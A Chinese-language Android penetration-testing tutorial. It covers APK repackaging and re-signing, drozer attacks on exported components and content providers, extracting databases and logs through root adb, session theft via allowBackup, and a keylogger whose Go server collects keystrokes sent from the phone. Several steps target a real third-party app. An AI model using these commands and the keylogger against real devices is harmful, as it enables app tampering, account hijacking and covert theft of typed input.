基本知識
平時安裝的應用位置,里面主要是odex可運行文件
/data/app
系統應用位置(需要root權限),里面主要是odex可運行文件
/system/app
應用的數據相關的位置,里面包含一些配置,緩存信息
/data/data
重打包測試測試
測試流程
檢測app是否檢測簽名,如果未檢測簽名可重打包篡改app的代碼再次發布
首先准備2個工具,apktool.jar和signapk.jar,其次尋找簽名需要的2個證書文件pk8和pem,可以直接生成我這里直接拿別人編譯好的,github上隨便搜索signapk的項目,找到的下面內容
https://github.com/sunshinelyz/mykit-android-signapk

獲取了之后先看之前app的樣子

為了明顯目的是將程序未注冊改為其他的顯示
拿到apk,使用apktool進行反編譯, -f為apk名稱 -o為生成的文件夾名稱
apktool d -f app-debug.apk -o app
或
java -jar apktool.jar d -f app-debug.apk -o app

此時我們當前路徑下就多了app目錄,打開他,目錄結構如下,和使用jad和jre反編譯不同,他沒有dex文件,而是smali文件

我們再smali中找到程序未注冊的字符位置,中文在smali中是以unicode編碼的形式存儲

將其修改,hijacking test

重新打包,此處-f參數為項目文件夾, -o 為生成的apk名稱
apktool b -f app -o test.apk
或
java -jar apktool.jar -f app -o test.apk

此時還不夠,需要進行簽名
java -jar signapk.jar platform.x509.pem platform.pk8 test.apk test-final.apk

生成我們最終的test-final.apk
但是在安裝時,會出現與已安裝的應用簽名不同,但這並不是說明程序進行了簽名校驗,只是安卓系統進行了版本更新的對比

將之前的程序刪掉

再次安裝成功

打開也成功修改了指定文本

防御方式
使用Native層代碼驗證代碼的完整性,或者加殼
簽名完整性測試
檢測app是否是原本,還是被第三方重新打包的
測試流程
jarsigner -verify [apk路徑]

顯示未簽名說明被第三方篡改重新打包了,顯示已驗證為完整的
檢測證書情況
jarsigner -verify -verbose -certs [apk路徑]
可導出組件測試
測試流程
該漏洞是因為該app組件未進行嚴格權限控制,導致任意app均可調用該組件導致危害
需要的工具為dorzer
導出的組件前提為,下列滿足其一就可:
1.顯示聲明 android:exported="true"
2.未顯示聲明 android:exported="false" 組件不是 Content Provider 組件不包含 <intent-filter>
3.未顯示聲明 android:exported="false" 組件是 Content Provider api版本 < 17
首先選擇目標,我在酷安上隨便找了個應用

手機連接好電腦,分別啟動dorzer

使用ls可用查看命令,首先查看有哪些包在運行
run app.package.list

有許多結果可以通過-f參數進行過濾,這里查看目標app的包名可以通過手機中 設置->更多應用->對應app->應用信息里面有應用包名

run app.package.list -f xxs

查看包信息
run app.package.info -a com.xxs.leon.xxs
查看可攻擊組件信息
run app.package.attacksurface com.xxs.leon.xxs

查看對應組件信息
run app.activity.info -a com.xxs.leon.xxs #查看activity組件
run app.broadcast.info -a com.xxs.leon.xxs #查看broadcast組件
run app.provider.info -a com.xxs.leon.xxs #查看provider組件
run app.service.info -a com.xxs.leon.xxs #查看service組件

那么接下來可以直接調用對應組件,實現繞過app本身邏輯直接請求組件,一般用於繞過登錄之類的漏洞
實體機如果不靈光可以重啟解決
run app.activity.start --component com.xxs.leon.xxs com.xxs.leon.xxs.ui.activity.WebActivity
廣播模塊攻擊
run app.broadcast.send --action [組件路徑] --extra string [輸出的變量] [更改的值]
因為小小書app不太典型,因此使用dorzer官網自帶的測試漏洞app
https://labs.f-secure.com/tools/drozer/
整個程序功能大致為輸入密碼后輸出信息
啟動server服務
run app.service.start --action com.mwr.example.sieve(包名) --component com.mwr.example.sieve(包名) com.mwr.example.sieve.AuthService(組件名)
查看ContentProvider並找到url路徑-a后接包名
run scanner.provider.finduris -a com.mwr.example.sieve

provider 組件可能存在客戶端的sql注入和目錄遍歷的問題
#sql注入
run scanner.provider.injection -a com.mwr.example.sieve
#目錄遍歷
run scanner.provider.traversal -a com.mwr.example.sieve
敏感文件泄露
一般敏感的文件有sqlite的數據庫文件,xml文件,logcat日志內容
使用root權限的adb,前往程序app的文件夾下(路徑可通過drozer去查看)
adb root
adb shell
cd xxx/xxx/xxx

sqlite文件一般在databases下面
可以看到存在database.db的文件,可以通過find命令去查找
find /data/user/0/com.mwr.example.sieve -name *.db
回到pc的命令行,使用adb pull命令將db拷貝出來
adb pull /data/user/0/com.mwr.example.sieve/databases/database.db

用工具打開sqlite數據庫文件

xml配置文件一般在shared_prefs下面

將其拷貝出來
adb pull /data/user/0/com.xxs.leon.xxs/shared_prefs
比如小小書的公告內容寫在了配置中(這里應該是通過網絡傳輸更新配置文件的)

Logcat 日志導出
adb shell logcat -d > 1.txt
使用文件編輯器全局搜索翻閱

靜態資源備份打包
AllowBackup屬性設置為true,則存在備份打包漏洞,使用原理如手機A某app登錄了賬號,該app的AllowBackup屬性設置為true,此時在手機A上打包該app並導出,將導出的apk重新放入手機B中,手機B默認登錄手機A中的賬號
#連接手機A
adb kill-server
adb backup -nosystem -noshared -apk -f com.xxs.leon.xxs.ab com.xxs.leon.xxs
#連接手機B
adb kill-server
adb devices
adb restore com.xxs.leon.xxs.ab
准備手機A

手機B未登錄

把小小書進行備份,並且將備份寫入手機B

成功登陸

鍵盤記錄漏洞
github項目
https://github.com/bshu2/Android-Keylogger
需要自己編譯apk,自己編譯時將apk的url路徑改為自己的公網服務器地址

之后在服務器上啟動server.go服務,這里需要改動下,將init內容寫到main函數中,並且將包改為package main,端口號與apk中的修改的url地址相對應即可
package main
import (
"io/ioutil"
"fmt"
"strings"
"net/http"
)
var entries = []string{}
func init() {
http.HandleFunc("/", handler)
http.ListenAndServe(":5001", nil)
}
func handler(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case "GET":
//serve the resource
fmt.Fprintf(w, "<table><tr><th>Timestamp</th><th>Action</th><th>Data</th></tr>")
for i, _ := range entries {
fmt.Fprintf(w, "%s", entries[len(entries) - i - 1])
}
fmt.Fprintf(w, "</table>")
case "POST":
//add entry
body, err := ioutil.ReadAll(r.Body)
if err != nil {
fmt.Fprintf(w, err.Error())
}
entry := strings.SplitN(string(body), "|", 3)
new_entry := fmt.Sprintf("<tr><td>%s</td><td>%s</td> <td>%s</td></tr>", entry[0], entry[1], entry[2])
entries = append(entries, new_entry)
if len(entries) > 100 {
entries = entries[1:]
}
fmt.Fprintf(w, "POST\n")
default:
//do nothing
}
}
func main(){
http.HandleFunc("/", handler)
http.ListenAndServe(":5001", nil)
}
啟動server
go run server.go

手機上啟動app需要root權限,將app掛到后台

輸入的記錄,將發送到go語言啟動的web服務器

以上操作需要root權限,並且很變態在於自定義鍵盤也可以獲取輸入內容
不需要root權限可使用專門記錄鍵盤的app,相當於安裝記錄輸入內容的輸入法app,在測試對象沒有使用自定義軟鍵盤的情況下,調用該輸入法app,則會存在輸入內容被竊取記錄的風險
屏幕截取漏洞
adb shell /system/bin/screencap -p /data/1.png
從手機放入電腦
adb pull /data/1.png


